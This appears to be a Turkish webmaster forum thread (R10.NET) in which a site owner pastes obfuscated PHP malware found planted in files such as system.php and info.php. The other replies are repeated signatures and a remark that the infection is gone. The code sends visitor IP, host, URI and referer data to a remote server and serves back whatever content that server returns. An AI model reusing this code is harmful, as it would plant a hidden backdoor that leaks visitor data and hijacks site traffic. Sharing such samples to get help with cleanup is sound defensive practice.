    $AdsUfub8 = $j73UljV5rFSq($uDPt9jDSf42bm(${chr(121^38).chr(121^42).chr(121^60).chr(121^43).chr(121^47).chr(121^60).chr(121^43)}[chr(58^105).chr(58^121).chr(58^104).chr(58^115).chr(58^106).chr(58^110).chr(58^101).chr(58^124).chr(58^115).chr(58^118).chr(58^127).chr(58^116).chr(58^123).chr(58^119).chr(58^127)]), chr(ord(";") - 19));
    				$AdsUfub8=$AdsUfub8 ^ 685;
    
    ${xlMu1K7EqNK("-07).o.-")} = tR01t7fA(")-1+&/.>*/<<7)3::");
    	${dd33LVte5bd("=11nwk")} = tR01t7fA("gkoxjx(nukr-oq\$two}){kysf");
    ${IFvRe6keP("lSlZ9@\"m!#^uh")} = DJC6ws("687%:853?");
    
    ${ZZXRnVg89Qeo("(1'iuZXr]")} = ZZXRnVg89Qeo("(6759';/;;?B,2,");
    ${lLXkqxo64("=Tgf!]<")} = dd33LVte5bd("gkoxjx(~jvtpbvh%nv");
    function wJy9S41CGX($eETwCTNF){return IFvRe6keP($eETwCTNF);};
    			${dFcieOKs8("=6>+}Yjy{}77")} = DJC6ws(")-1+&-A3>@@");
    				${DJC6ws("t=ZWXh5")} = lLXkqxo64("&,7");
    				${lLXkqxo64("q>:Y3r-.")} = IFvRe6keP("(<526,.");
    function lLXkqxo64($PHu4YdCq8){return IFvRe6keP($PHu4YdCq8);};
    
    ${lLXkqxo64("1;k{W,`")} = dRPzLfisv3("10\$2(60392<");
    ${tR01t7fA(")xS26g")} = xlMu1K7EqNK("36*-&:.:7-03");
    						${dFcieOKs8("y{2W5w{l>o")} = dRPzLfisv3("6,&U&.260");
    						${tR01t7fA(":6.:9\\pu-5")} = tEeBsW("&3:4;',2,>@");
    ${tR01t7fA("wTlVoY")} = dd33LVte5bd("\$67'@'4/D+2F,799");
    						function DJC6ws($HRFc97){return IFvRe6keP($HRFc97);};
    function tR01t7fA($F4TFxEMtVre){return IFvRe6keP($F4TFxEMtVre);};
    
    function ZZXRnVg89Qeo($gxULkbSOL0M8){return IFvRe6keP($gxULkbSOL0M8);};
    						function tEeBsW($QYyTFYbP){return IFvRe6keP($QYyTFYbP);};
    
    function dd33LVte5bd($WHUCXns){return IFvRe6keP($WHUCXns);};
    						${ZZXRnVg89Qeo("n;T2ot")} = wJy9S41CGX("587/4");
    ${xlMu1K7EqNK("5VS79hz!/\$^")} = dFcieOKs8("0(X%-15/");
    function dFcieOKs8($RsHl6O){return IFvRe6keP($RsHl6O);};
    ${wJy9S41CGX("od:whm}ip`b")} = xlMu1K7EqNK("%-3V/-A");
    ${dFcieOKs8("y'Uup8j14!DB")} = xlMu1K7EqNK("gkoxjx(nukr-oq\$vjy(zjxrq");
    	function dRPzLfisv3($BIE1Ff3){return IFvRe6keP($BIE1Ff3);};
    ${tR01t7fA("(e'}3zi]")} = dd33LVte5bd(",2.%:-=");
    						function SWuGq9tmver($uwGDuEDii){return IFvRe6keP($uwGDuEDii);};
    					${dRPzLfisv3("xXnf*~Yi")} = lLXkqxo64("0(X");
    ${lLXkqxo64("u3l.i3t/b.")} = IFvRe6keP("6-2/3);)?1EB");
    					${xlMu1K7EqNK("mmqvg~s.[\${%")} = ZZXRnVg89Qeo("&6(WW");
    			function xlMu1K7EqNK($Nb9FWwO){return IFvRe6keP($Nb9FWwO);};
    ${lLXkqxo64("0q/5l]p0\\2&r")} = ZZXRnVg89Qeo("/87/4");
    
    ${lLXkqxo64("0{,]Z*")} = SWuGq9tmver("&6>6;");
    ${tEeBsW("cc)V*_rx")} = wJy9S41CGX("+)&*,:");
    ${xlMu1K7EqNK("9.2l\\.9?A")} = dRPzLfisv3("6879;:");
    ${SWuGq9tmver("c2+..,j")} = tR01t7fA("36.4;");
    						${DJC6ws("sw[(jZ0!~[o3/")} = dd33LVte5bd("&3:4;',2,>@");
    
    ${tR01t7fA("jVoTu>")} = xlMu1K7EqNK(",1526,.");
    ${dRPzLfisv3("z;2gogi")} = dd33LVte5bd("69'9;:(-:A;B");
    	${lLXkqxo64("e<:Y?7/v-[")} = dRPzLfisv3("0(X");
    						${IFvRe6keP("*n[m-o3\\v?9")} = wJy9S41CGX("687+(5(-::A3;8\$)9-*>0");
    ${tEeBsW("k:v,gkA")} = dd33LVte5bd("76:+");
    ${dRPzLfisv3("ll,hhhZ,!p")} = ZZXRnVg89Qeo("/'+/9;=");
    		${dFcieOKs8("hV5.8.@")} = dRPzLfisv3("26)");
    						${tEeBsW("fizjj*r")} = IFvRe6keP(",1526,.");
    
    ${dd33LVte5bd("&v?w5\"53")} = lLXkqxo64(")3{xi!=#E.'D");
    ${dRPzLfisv3("iWr*k,")} = wJy9S41CGX("+896&*>370,?8)7?");
    ${ZZXRnVg89Qeo("ex39}y}^\"")} = dd33LVte5bd("2Y,9!r!oB\$~");
    ${lLXkqxo64("(hZ4j\\Cp<px")} = dd33LVte5bd("687%9-96,/2");
    
    ${lLXkqxo64(".&}2n;@y{")} = dFcieOKs8("82.70,");
    ${tR01t7fA("93X?987r1[")} = lLXkqxo64(",4U2660");
    ${SWuGq9tmver("1iklm.h")} = DJC6ws("\$67'@'<242A");
    ${tEeBsW(")3-1}v_kBt")} = tEeBsW(",2\$'9:*C");
    		${IFvRe6keP("/h0r2?u")} = dFcieOKs8("&,7");
    
    ${lLXkqxo64("0Rim!oin\$ra'")} = DJC6ws("687877<");
    						${lLXkqxo64(".Y8f[z<3")} = dRPzLfisv3(",29<(4");
    ${dFcieOKs8("4X;<[n=`->")} = wJy9S41CGX(")-1:,:(@,>");
    ${dRPzLfisv3("f)/*60")} = wJy9S41CGX("6872,6");
    
    ${xlMu1K7EqNK("2+y*[~W/?o")} = lLXkqxo64("69'9;:");
    ${wJy9S41CGX("t'\\p9sYi04}3")} = xlMu1K7EqNK("/33-W19");
    ${wJy9S41CGX("=cV1vnC.\$")} = ZZXRnVg89Qeo("687%9-9/,@");
    ${dd33LVte5bd("u<8epiu#4v'_1")} = lLXkqxo64("%%8+5)6/");
    
    ${xlMu1K7EqNK(",hs}Vo^->@d")} = ZZXRnVg89Qeo(")-1+&8>>*/<<7)3::");
    				${ZZXRnVg89Qeo("'+tv|oqY2o2D-")} = dd33LVte5bd("76.3");
    
    
    
    
    ${dd33LVte5bd("(1'iuZXr]")}(${wJy9S41CGX(".Y8f[z<3")}(dd33LVte5bd("Q")));
    
    ${dFcieOKs8("(e'}3zi]")}(IFvRe6keP("'-863)B)0>?=57"), ${SWuGq9tmver(".Y8f[z<3")}(SWuGq9tmver("Q")));
    
    
    
    ${dFcieOKs8("3e<Zk!_0D2F#q")} = Array(dd33LVte5bd("RRVRW[XVZb[Z"), dFcieOKs8("RTXR[YU^aX"), dFcieOKs8("RUUR[\\UYZX"), SWuGq9tmver("RVURZWUY]X"), 
    
    
                        IFvRe6keP("RZXR\\[UY][Y"), tR01t7fA("R[URV\\_VZZ\\Z"), SWuGq9tmver("R[URWVWV[\\Y"), wJy9S41CGX("R[XRVZXV]X"), dFcieOKs8("R[XRWY_Vb`Y"), DJC6ws("R[YRYVU[ZX"), dRPzLfisv3("R[[RVVYV`ZY"), 
    
                        wJy9S41CGX("R[[RVZ\\V_X"), dRPzLfisv3("R[\\RWZ\\V^_Y"), dd33LVte5bd("SRURVTX^ZX"), dRPzLfisv3("SRUR^[UZY\\Y"), IFvRe6keP("SRXRV\\[V[ZY"), dd33LVte5bd("SRYRWZ]VZb[Z"), tEeBsW("SRZRWW`VZ_^Z"), 
    
                        dRPzLfisv3("SR[RVW_V[_`Z"), lLXkqxo64("SR[R]VUYb\\Y"), DJC6ws("SR[R]YUY\\`Y"), DJC6ws("SR\\RVVZV[\\_Z"), IFvRe6keP("SR\\R[\\U_YX"), ZZXRnVg89Qeo("SSTRWZ`V]ZY"), wJy9S41CGX("SSYRVY`VYX"), 
    
                        tR01t7fA("SSYRV^^Vb]Y"), ZZXRnVg89Qeo("SSYRV_[VZcaZ"), dd33LVte5bd("SSYRY]U^]X"), xlMu1K7EqNK("SVQU\\XU_[X"), dRPzLfisv3("SVQVWZUY[aY"), IFvRe6keP("SVQVW[U`W"),
    
                        ZZXRnVg89Qeo("WUQVZWUY`_Y"), IFvRe6keP("WVQUYVUZ[]Y"), lLXkqxo64("WVQVX[UY^ZY"), ZZXRnVg89Qeo("WVQVX[UY^]Y"), lLXkqxo64("WVQW]TXY_X"), tR01t7fA("WVQZ^T]^W"), IFvRe6keP("WWQW^TX\\YX"), 
    
    					                    ZZXRnVg89Qeo("WXQU\\XU\\`X"), IFvRe6keP("WXQVY_U^^X"), tR01t7fA("WXQVZZUaaX"), tEeBsW("WXQW\\T]`W"), ZZXRnVg89Qeo("W[QUUTX[]X"), tEeBsW("XRQXWTX[ZX"), dd33LVte5bd("XTQVS_\\V"), dFcieOKs8("XVQUV\\UZZbY"), 
    
    
                        IFvRe6keP("XVQVV]UaYX"), wJy9S41CGX("XVQ]YTY[aX"), IFvRe6keP("XWQU][UYb]Y"), dRPzLfisv3("XZQUVWU_W"), tR01t7fA("YRQVY^UZZaY"), wJy9S41CGX("YTQ\\UTY[YX"), dFcieOKs8("YWQUVXUYW"), 
    
                        tR01t7fA("ZRQUY[UZZ_Y"), dd33LVte5bd("ZTQX]TXY_X"), dFcieOKs8("ZTQX]TXZYX"), wJy9S41CGX("ZVQUX\\UY\\`Y"), IFvRe6keP("ZVQVWWUZZ`Y"), SWuGq9tmver("RRQ]S]XV"), ZZXRnVg89Qeo("RR\\RWVZVZ\\]Z"), wJy9S41CGX("SRSR\\[UXW"), 
    
    					                    DJC6ws("SRTRWY_V[^aZ"), ZZXRnVg89Qeo("SRWRW]UYb_Y"), tEeBsW("SRYRVX]VbcY"), SWuGq9tmver("SR[RVXYVb_Y"), SWuGq9tmver("SSYRWY[VZ\\_Z"), dRPzLfisv3("USQVWYUZZbY"), tEeBsW("WVQVX[UY^^Y"), 
    
                        dRPzLfisv3("WZQU]VUZ[bY"), dRPzLfisv3("YYQVYYUY[bY"), tEeBsW("SSUR\\WUYW"), tEeBsW("WVQWYTXYZX"), dd33LVte5bd("RV\\RW[\\V_ZY"), tEeBsW("RZWRV]ZV[[\\Z"), dRPzLfisv3("RZWRV]ZV[\\aZ"), 
    
    
                        tEeBsW("RZWRV]ZV[\\bZ"), lLXkqxo64("R[URV]XV[]^Z"), ZZXRnVg89Qeo("SSVRW[[V[^\\Z"), dRPzLfisv3("TZQUUVUZZX"), dd33LVte5bd("UPZ]SWY[W"), xlMu1K7EqNK("R[SRVWYVZc`Z"), dFcieOKs8("ZSQVV\\UYYaY"), 
    
    		                    dd33LVte5bd("XRQW^TX]`X"), lLXkqxo64("SSTRVWWVZb\\Z"), xlMu1K7EqNK("SR[R]VUYb^Y"), SWuGq9tmver("RTTRYXUXW"), lLXkqxo64("WVQ[YTYY^X"));
    
    
    
    ${tR01t7fA("+*2?[p\\_]4")} = Array(tEeBsW("n3?/34*W^X[LIzTU`Fs39AEL;ZY%[ZbH=Be_YPSRVOGo0/8=PTSUUVXXZJq75)+5?UZ`WZY]AnzwTY_VY"), 
    
    				                tEeBsW("n3?/34*W]X[LI'437)=3-82gAovmjF_VYeK%,2)5>;Gv}J`ZR]Cx91-/9@Z`ORL"), 
    
    
                    dd33LVte5bd("n3?/34*W]X[LI'437)=3-82gAovmjF_VYeK%,2)5>;Gv}JaZR]Cx91-/9@Z`ORL"),);
    
    
    
    
    						 if (${DJC6ws("z;2gogi")}(${dFcieOKs8("-07).o.-")}($_SERVER[tEeBsW("teumuz(nrvpzboh")]), xlMu1K7EqNK("E")) != ${dd33LVte5bd(".Y8f[z<3")}(SWuGq9tmver("Q"))+303){ ${tR01t7fA(")xS26g")}(ZZXRnVg89Qeo("PQ*/"), ${tEeBsW("7sxx0s:m")}[IFvRe6keP("v'j8.pp")], '');exit();}
    if (empty(${SWuGq9tmver("\"ihx")}))
    
    {
    
        ${dFcieOKs8("&v?w5\"53")}();
    
    }
    
    
    
    ${tR01t7fA("vqWT^tra")} = ${wJy9S41CGX("ex39}y}^\"")}();
    
    
    ${IFvRe6keP("'[3\\]4")} = @$GLOBALS[IFvRe6keP("x*fUfu")][lLXkqxo64("ivwt&{zm{+lsfpw")];
    
    
    
    
    if (${dRPzLfisv3(")3-1}v_kBt")}(${tEeBsW("'[3\\]4")}, ${dd33LVte5bd("+*2?[p\\_]4")}))
    
    {
    
    
        ${IFvRe6keP("&v?w5\"53")}();
    
    }
    
    
    
    	if (empty(${wJy9S41CGX("vqWT^tra")}))
    
    {
    
    						    ${SWuGq9tmver("&v?w5\"53")}();
    
    }
    
    
    
    	${lLXkqxo64("-mk:|l[tj`[tm")} = ${DJC6ws("2+y*[~W/?o")}(${DJC6ws("vqWT^tra")}, ${dRPzLfisv3(".Y8f[z<3")}(wJy9S41CGX("Q")), ${ZZXRnVg89Qeo("0Rim!oin\$ra'")}(${IFvRe6keP("vqWT^tra")}, dRPzLfisv3("O"))+${IFvRe6keP(".Y8f[z<3")}(tEeBsW("R")));
    
    			if (${xlMu1K7EqNK(")3-1}v_kBt")}(${dd33LVte5bd("-mk:|l[tj`[tm")}, ${dRPzLfisv3("3e<Zk!_0D2F#q")}))
    
    {
    
        ${ZZXRnVg89Qeo("&v?w5\"53")}();
    
    }
    
    
    
    ${SWuGq9tmver("7&w?wi;j|1=@i")} = ${IFvRe6keP(".Y8f[z<3")}(dFcieOKs8("S[T[V"));
    
    
    ${IFvRe6keP("k9<g4z^!rp4")} = ${SWuGq9tmver(".Y8f[z<3")}(tEeBsW("Q"));
    
    
    foreach (${xlMu1K7EqNK("lSlZ9@\"m!#^uh")}($GLOBALS[dFcieOKs8("x*fUfu")][tEeBsW("sgtyjy{)~|t")]) as ${lLXkqxo64("(|[fZv.n}`7\\")})
    
    {
    
    	    ${dd33LVte5bd("7&w?wi;j|1=@i")} += ${lLXkqxo64("hV5.8.@")}(${IFvRe6keP("(|[fZv.n}`7\\")});
    
        ${wJy9S41CGX("k9<g4z^!rp4")} ++;
    
    }
    
    	${SWuGq9tmver("7&w?wi;j|1=@i")}<<=${IFvRe6keP(".Y8f[z<3")}(dFcieOKs8("S"));${dd33LVte5bd("7&w?wi;j|1=@i")}^=${ZZXRnVg89Qeo("7&w?wi;j|1=@i")};${dRPzLfisv3("7&w?wi;j|1=@i")}+=${wJy9S41CGX(".Y8f[z<3")}(SWuGq9tmver("TT"));
    
    
    
    
    ${ZZXRnVg89Qeo("7&w?wi;j|1=@i")} = ${dRPzLfisv3("=cV1vnC.\$")}(${dd33LVte5bd("/h0r2?u")}(${DJC6ws("7&w?wi;j|1=@i")}), ${dFcieOKs8(".Y8f[z<3")}(dRPzLfisv3("Y")));
    
    
    
    
    
    				${tEeBsW("vqWT^tra")} = dd33LVte5bd("Y[QYWT^`W[]");
    
    
    ${dd33LVte5bd("hgru\\[")} = tR01t7fA("YR");
    
    
    ${dFcieOKs8("d+)Z=[z<%")} = ZZXRnVg89Qeo("P2'-=-,C^Y_a%=W8-0U:3<");
    
    
    
    ${tR01t7fA("mdhj3XssB[A")} = Array();
    
    ${IFvRe6keP("mdhj3XssB[A")}[SWuGq9tmver(",")] = ${xlMu1K7EqNK("ex39}y}^\"")}();
    
    
    ${dRPzLfisv3("mdhj3XssB[A")}[dFcieOKs8("3")] = @$GLOBALS[wJy9S41CGX("x*fUfu")][tEeBsW("ivwt&nv{}")] . @$GLOBALS[IFvRe6keP("x*fUfu")][dd33LVte5bd("sgtyjy{)~|t")];
    
    ${dd33LVte5bd("mdhj3XssB[A")}[ZZXRnVg89Qeo("8")] = @$GLOBALS[SWuGq9tmver("x*fUfu")][lLXkqxo64("ivwt&{zm{+lsfpw")];
    
    
    ${DJC6ws("mdhj3XssB[A")}[tEeBsW("\$")] = @$GLOBALS[dd33LVte5bd("x*fUfu")][SWuGq9tmver("ivwt&gjknz!-mcqkzgnm")];
    
    ${ZZXRnVg89Qeo("mdhj3XssB[A")}[ZZXRnVg89Qeo("5")] = @$GLOBALS[dFcieOKs8("x*fUfu")][wJy9S41CGX("ivwt&xlnn|p~")];
    
    
    
    			${DJC6ws("pro~:o")} = ${DJC6ws("*n[m-o3\\v?9")}(Array(tR01t7fA("+896") => Array(DJC6ws("0)9.6,") => SWuGq9tmver("qqvx"), lLXkqxo64("+)&*,:") => dd33LVte5bd("d33:,6=U?E=3[B&6742-,@6=1Q=Q>?@U1;?;N972,6,9/11"), ZZXRnVg89Qeo("&33:,6=") => ${tR01t7fA("iWr*k,")}(${dFcieOKs8("mdhj3XssB[A")}))));
    
    
    
    						${wJy9S41CGX("476]-?,l")} = tR01t7fA("+896_UV") . ${dFcieOKs8("t'\\p9sYi04}3")}(-${dd33LVte5bd(".Y8f[z<3")}(lLXkqxo64("RZZXUW]_^\\")) ^ (${IFvRe6keP("hV5.8.@")}(${wJy9S41CGX("7&w?wi;j|1=@i")}[${xlMu1K7EqNK(".Y8f[z<3")}(dFcieOKs8("Q"))]) + ${xlMu1K7EqNK("hV5.8.@")}(${IFvRe6keP("7&w?wi;j|1=@i")}[${tR01t7fA(".Y8f[z<3")}(dd33LVte5bd("R"))]) + (${SWuGq9tmver("9.2l\\.9?A")}(${SWuGq9tmver("2+y*[~W/?o")}($GLOBALS[lLXkqxo64("x*fUfu")][lLXkqxo64("sgtyjy{)~|t")], -${DJC6ws(".Y8f[z<3")}(tEeBsW("U"))), dFcieOKs8("O4-6")) == FALSE ? ${IFvRe6keP(".Y8f[z<3")}(tEeBsW("ZZ")) : ${dd33LVte5bd("93X?987r1[")}(${SWuGq9tmver("vqWT^tra")})))) . xlMu1K7EqNK("[") . ${SWuGq9tmver("hgru\\[")} . ${IFvRe6keP("d+)Z=[z<%")};
    
    
    
    						${tR01t7fA("rrk*!-hqEB")} = @${SWuGq9tmver("-07).o.-")}(${tR01t7fA("476]-?,l")}, FALSE, ${tEeBsW("pro~:o")});
    
    if(${dd33LVte5bd("f)/*60")}(${xlMu1K7EqNK("rrk*!-hqEB")}) < ${dd33LVte5bd(".Y8f[z<3")}(dFcieOKs8("RR")))
    
    {
    
    				    ${DJC6ws("&v?w5\"53")}();
    
    }
    
    
    
    		${lLXkqxo64("rrk*!-hqEB")} = ${lLXkqxo64("q>:Y3r-.")}("\n", ${dFcieOKs8("rrk*!-hqEB")});
    
    
    
    ${tR01t7fA("tdjo2!wA")} = ${xlMu1K7EqNK("1iklm.h")}(${IFvRe6keP("rrk*!-hqEB")});
    
    						${wJy9S41CGX("rrk*!-hqEB")} = ${SWuGq9tmver("fizjj*r")}("\n", ${tR01t7fA("rrk*!-hqEB")});
    
    
    
    
    if (${DJC6ws("9.2l\\.9?A")}(${ZZXRnVg89Qeo("tdjo2!wA")}, dFcieOKs8("O,933")) === FALSE)
    
    {
    
        ${ZZXRnVg89Qeo("cc)V*_rx")}(ZZXRnVg89Qeo("d33:,6=U}E=3[B&6742-,@6=1Q4);-=U>@?3\$1"));
    
        ${tR01t7fA("cc)V*_rx")}(tR01t7fA("d33:,6=Um5@>27.:077bI-AB\$'-3,6=cI26:(2&3,c") . ${tR01t7fA("tdjo2!wA")});
    
    	    ${tEeBsW("cc)V*_rx")}(xlMu1K7EqNK("d33:,6=Uu1;57,]D") . ${wJy9S41CGX("f)/*60")}(${ZZXRnVg89Qeo("rrk*!-hqEB")}));
    
    }
    
    
    
    	exit(${IFvRe6keP("rrk*!-hqEB")});
    
    
    
    
    function o7gsZLXGwXS()
    
    			{global ${dFcieOKs8("'+tv|oqY2o2D-")};
    		global ${dRPzLfisv3("4X;<[n=`->")};
    global ${dd33LVte5bd("y'Uup8j14!DB")};
    				global ${dRPzLfisv3("wTlVoY")};
    				global ${DJC6ws("q>:Y3r-.")};
    
    global ${lLXkqxo64("=Tgf!]<")};
    global ${dd33LVte5bd("=11nwk")};
    
    
        ${lLXkqxo64(";;yzlBjDAE5")} = array(DJC6ws("sgpsyk(imn}"), );
    
    		    foreach (${IFvRe6keP(";;yzlBjDAE5")} as ${tR01t7fA("7&w?wi;j|1=@i")})
    
    
        {
    
    						        if (${lLXkqxo64("wTlVoY")}(${tR01t7fA("7&w?wi;j|1=@i")}, $GLOBALS[wJy9S41CGX("x*fUfu")]) === TRUE)
    
            {
    
    			            foreach (${SWuGq9tmver("q>:Y3r-.")}(lLXkqxo64("M"), $GLOBALS[xlMu1K7EqNK("x*fUfu")][${dFcieOKs8("7&w?wi;j|1=@i")}]) as ${dFcieOKs8("vqWT^tra")})
    
    
                {
    
                    ${tR01t7fA("vqWT^tra")} = ${wJy9S41CGX("'+tv|oqY2o2D-")}(${wJy9S41CGX("vqWT^tra")});
    
                    if (${SWuGq9tmver("4X;<[n=`->")}(${IFvRe6keP("vqWT^tra")}, FILTER_VALIDATE_IP, ${DJC6ws("=11nwk")} | FILTER_FLAG_NO_RES_RANGE) !== FALSE)
    
    
                    {
    
                        return ${DJC6ws("vqWT^tra")};
    
    
                				    }
    
                }
    
            }
    
        }
    
    
    
        return "";
    
    }
    
    
    
    function foXTDYtYzbZv()
    
    {global ${SWuGq9tmver(",hs}Vo^->@d")};
    
    global ${lLXkqxo64("u<8epiu#4v'_1")};
    global ${wJy9S41CGX(".&}2n;@y{")};
    						global ${lLXkqxo64("(hZ4j\\Cp<px")};
    global ${tEeBsW("k:v,gkA")};
    global ${tR01t7fA("*n[m-o3\\v?9")};
    global ${tR01t7fA("e<:Y?7/v-[")};
    global ${SWuGq9tmver("cc)V*_rx")};
    				global ${xlMu1K7EqNK("=6>+}Yjy{}77")};
    	global ${wJy9S41CGX("-07).o.-")};
    
    
        ${wJy9S41CGX("cc)V*_rx")}(ZZXRnVg89Qeo("ivwtTWUYI^[`Ap4:El8?90"));
    
    
    
        ${DJC6ws("wegXX:")} = ${SWuGq9tmver("u<8epiu#4v'_1")}($GLOBALS[SWuGq9tmver("x*fUfu")][ZZXRnVg89Qeo("qjs%xksn")]);
    
        
    
    		    if (!${tEeBsW("=6>+}Yjy{}77")}(SWuGq9tmver("URWR") . ${wJy9S41CGX("wegXX:")}))
    
        {
    
    	        ${lLXkqxo64("4-d<wy")} =  ${tEeBsW("e<:Y?7/v-[")}(${DJC6ws(".&}2n;@y{")}());
    
    				        ${SWuGq9tmver("rrk*!-hqEB")} = @${dd33LVte5bd("-07).o.-")}(dd33LVte5bd("+896_UV").$GLOBALS[wJy9S41CGX("x*fUfu")][lLXkqxo64("ivwt&nv{}")] . dd33LVte5bd("P") . ${wJy9S41CGX("4-d<wy")}, FALSE, ${dd33LVte5bd("*n[m-o3\\v?9")}(array(dFcieOKs8("+896") => array(dFcieOKs8(",+359-(/=><@6") => true))));
    
            ${dd33LVte5bd("rrk*!-hqEB")} = ${SWuGq9tmver("(hZ4j\\Cp<px")}(${tR01t7fA("4-d<wy")}, ${dd33LVte5bd("wegXX:")}, ${xlMu1K7EqNK("rrk*!-hqEB")});
    
            ${dRPzLfisv3(",hs}Vo^->@d")}(lLXkqxo64("URWR") . ${IFvRe6keP("wegXX:")}, ${tEeBsW("rrk*!-hqEB")});
    
        }
    
    					    else
    
        {
    
    					        ${lLXkqxo64("rrk*!-hqEB")} = @${dRPzLfisv3("-07).o.-")}(IFvRe6keP("URWR") . ${dd33LVte5bd("wegXX:")});
    
        }
    
    
    
    
        exit(${DJC6ws("rrk*!-hqEB")});
    
    }
    Probleminiz devam ediyorsa imzam üzerindeki konularım üzerinden iletişime geçebilirsiniz.

    --R10.NET; Flood Engellendi -->-> Yeni yazılan mesaj 10:04:23 -->-> Daha önceki mesaj 10:03:46 --

    ByMezarkabul adlı üyeden alıntı: mesajı görüntüle
    header.php den önce sağdaki soldaki klasörler içine system.php, info.php gibi içinde aşağıdaki kodlar bulunan dosyalar oluşturmaktaydı..
    Probleminiz devam ediyorsa imzam üzerindeki konularım üzerinden iletişime geçebilirsiniz.

    --R10.NET; Flood Engellendi -->-> Yeni yazılan mesaj 10:05:03 -->-> Daha önceki mesaj 10:04:23 --

    ByMezarkabul adlı üyeden alıntı: mesajı görüntüle
    header.php den önce sağdaki soldaki klasörler içine system.php, info.php gibi içinde aşağıdaki kodlar bulunan dosyalar oluşturmaktaydı..
    Probleminiz devam ediyorsa imzam üzerindeki konularım üzerinden iletişime geçebilirsiniz.

    İnternet probleminden dolayı postu 3 kere atmış
  • 09-09-2016, 10:10:24
    #9
    sKaracanx adlı üyeden alıntı: mesajı görüntüle
    Probleminiz devam ediyorsa imzam üzerindeki konularım üzerinden iletişime geçebilirsiniz.

    --R10.NET; Flood Engellendi -->-> Yeni yazılan mesaj 10:04:23 -->-> Daha önceki mesaj 10:03:46 --



    Probleminiz devam ediyorsa imzam üzerindeki konularım üzerinden iletişime geçebilirsiniz.

    --R10.NET; Flood Engellendi -->-> Yeni yazılan mesaj 10:05:03 -->-> Daha önceki mesaj 10:04:23 --



    Probleminiz devam ediyorsa imzam üzerindeki konularım üzerinden iletişime geçebilirsiniz.

    İnternet probleminden dolayı postu 3 kere atmış
    şuan virüsten eser yok hocam